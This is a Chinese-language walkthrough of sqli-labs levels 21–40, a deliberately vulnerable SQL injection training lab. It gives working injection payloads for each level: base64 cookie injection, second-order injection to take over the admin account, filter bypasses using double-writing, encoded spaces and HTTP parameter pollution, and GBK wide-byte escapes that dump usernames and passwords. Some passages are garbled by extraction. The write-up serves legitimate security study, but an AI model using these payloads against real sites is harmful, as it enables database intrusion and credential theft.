第二十一关
本关和less-20相似,只是cookie的uname值经过base64编码了。
登录后页面:
圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,
查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
先抓包看一下:
hadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JzYWlrZmhnaWh3aQ==,size_16,color_FFFFFF,t_70)
看到cookie是YWRtaW4%3D ,和页面显示不一样,但是明显%3D 是=号urldecode的结果,接下来构造paylaod进行测试
admin' and 1=1 --+ //明文YWRtaW4nIGFuZCAxPTEgLS0r //密文
看到红圈处的提示,所以应该构造 ') 这种的
这里就不演示爆行数了,上一题已经做过了。
经过我多次测试,–+在此处不好用,需要使用#来注释。
接下来只需要修改第三条查询语句,和less-20一样(注意用#注释,而不用–+),只要base64加密后写入cookie,就可以完成注入,不再赘述。
注入完成。
**第二十二关
22关于21关相比除闭合方式不同其它都一样。解22关见21关。
第二十三关
这一关经过尝试发现使用联合注入无论使用啥样的闭合方式它总会报错
查看源码
发现#与–+都被过滤。这时候可以闭合注入语句来绕过。
源码为:
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT * FROM users WHERE id='
sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
我们可以输入:?id=0’ union select 1,2,3’,
sql语句就变成了:$sql=“SELECT * FROM users WHERE id=‘0’ union select 1,2,3’’ LIMIT 0,1”。
然后进行联合注入就行了。
第二十四关
首先它是一个二次注入,我们注册一个名为admin’#的账户,密码为123.创建成功后,我们返回登录页面,把我们刚才注册的账号登录上去,
修改密码,把密码修改为123456.返回登录页面,这时候名为admin的管理员账户,我们就可以使用我们刚才修改的密码123456,登录上去了。
登录时admin’#这个东西在上面这句话中识别的是admin同时把搜索的两个条件中的密码给注释掉,搜索到admin这个用户后就可以登录成功。登录admin’#实际是admin的账号登录。
第二十五关
这题中or和and被过滤这时候可以进行绕过的方法比如双写,和用字符表示or和and。sql注入绕过方法
例如?id=-1’ oorr 1=1–+这样双写可以避免被过滤。
例如爆出数据库,
?id=-1' union select 1,(select group_concat(username) from users), (select group_concat(passwoorrd) from users)--+
##25a题过滤了or和and盲注
注入方法同24题只是联合注入改为盲注.
第二十六关
尝试半天,没什么进展,查一下php文件
可以看到function blacklist(
i
d
)
来
了
个
过
滤
全
家
桶
,
id) 来了个过滤全家桶,
id)来了个过滤全家桶,id 周围是单引号,过滤了 or,and , /* , – , # , 空格 , /
这一题注释,空格,or,and,都被过滤。
考虑空格:用以下几种url编码代替空格即可
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要.
对于最后注释被过滤我们只有把我们的注释语句弄闭合使它能够执行。对于这一题因为它是单引号闭合,所以可以在注释语句后面加上||‘1’=‘1来进行闭合。
当我输入?id=0’%0a||‘1’='1时它会显示登陆成功。但是当我实际进行联合注入时却遇到了问题,
这一题遇到了问题,先跳过。
第二十七关
经过尝试,发现本关也被过滤,对于这些过滤的题,我们要一个一个排除
1.是否过滤单引号?id=1’
2.是否过滤空格?id=1 order by
3.是否过滤关键字?id=union select 1
经过尝试发现发现未过滤单引号,空格被过滤关键字被过滤。
接下来开始注入,
1.数据库
?id=0'%0auniOn%0asElEct%0a1,database(),3%0aor%0a'1'
由于注释符被过滤:这里的or '1 ’ = ‘1是为了闭合和后的’ 变成or ‘1’=‘1’ limit 1,1 让语句完整
这里如果你的电脑报错,可以尝试使用%a0或其它方法代替空格。
2.数据表
?id=0'%0auniOn%0asElEct%0a1,(group_concat(table_name)),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'%0a%26%26%0a'1'='1
3.字段名
?id=0'%0auniOn%0asElEct%0a1,(group_concat(column_name)),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aAnd%0atable_name='users'%0a%26%26%0a'1'='1
4.用户
?id=0'%0auniOn%0asElEct%0a1,(group_concat(username,0x3a,password)),3%0afrom%0ausers%0auniOn%0aseLect%0a1,2,'3
第二十八关
GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
?id=0%27)%0Aunionunion%0aSElect%0aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),(%271
1
这一题的union select被过滤的更多了,将union select双写为unionunion%0aSElect%0aselect就行,如果直接就双写的话它会过滤select,所以要在中间再加一个(%0a)空格。
其它见27题。
第二十九关
WAF:Web应用防护系统(也称:网站应用级入侵防御系统。英文:WebApplicationFirewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
在SQL注入过程中主流的WAF绕过技术:
1.转换特征字符大小写
2.利用注释绕过
3.编码特征字符绕过
4.分隔重写特征字符绕过
5.利用截断字符绕过
6.变换变量位置绕过
7.针对域名保护的绕近
8.超大数据包绕过
9.转换数据提交方式绕过
10.HPP(HTTP参数污染)绕过。
这个题正常联合注入就行,
我特意查了一下,
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
Explain:apache(php)解析最后一个参数,即显示id=2的内容。客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。Tomcat(jsp)解析第一个参数,即显示id=1的内容。Tomcat功能类似一个WAF所以我们要传入两个id,第一个用来欺骗waf,第二个用来传送给apache。waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面
下面我们可以这样构造:
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
链接:https://www.jianshu.com/p/df7532b773eb
简单来说就是,我们要构造两个语句,第一个用来欺骗waf,第二个用来传送给apache。
第三十关
和二十九关一样,双引号闭合。
?id=0"%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+
参照上一关我们可以这样构造
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
三十一关
双引号加括号闭合,参考Less-29.
三十二关
这题介绍一下addslashes()函数,这个函数的作用,是返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(“)
反斜杠(\)
空值
注释:在适当情况下,PHP指令magic_quotes_gpc为打开,对所有的GET,POST和COOKIE数据自动运行addlashes()。义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。
当输入?id=-1%27%20union%20select%201,version(),database()%20--+
发现
发现多了个反斜杠。这就是addlashes()函数的作用。那怎样解决呢。
使用
?id=-1%df%27%20union%20select%201,version(),database()%20--+
就是在前面加了%df。使用%E6也行。
在gbk编码中两个字节代表一个汉字,所以在编码时,%df和后面的\也就是%5c变成了一个汉字 運,而单引号 ‘逃逸了出来。
爆列名时,‘user’,这里的单引号可以用十六进制表示,使用十六进制编码就可以绕过了’'使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273。
三十三关
参照第三十二关代码。
三十四关
经过尝试发现这一关需要登录上去才能获得显示位
并且当输入admin’时也能登录成功
下面我们抓包,
uname=admin%df' union select 1,database()--+&passwd=admin&submit=Submit
剩下的正常联合注入就行,别忘了加%df,还有遇见’users’注意它两边的单引号,可以使用十六进制表示。
三十五关
经过尝试发现这一关是简单的联合注入,无闭合。直接使用联合注入。
三十六关
宽字节注入,参考32题。
三十七关
参照三十四关。
三十八关
经过尝试发现本关为堆叠查询,请参照30关。
正常联合注入,
三十九关
同样的堆叠查询
不用闭合的
联合注入。
四十关
联合查询’)闭合。
感谢大佬博客https://blog.csdn.net/qq_41420747/article/details/81836327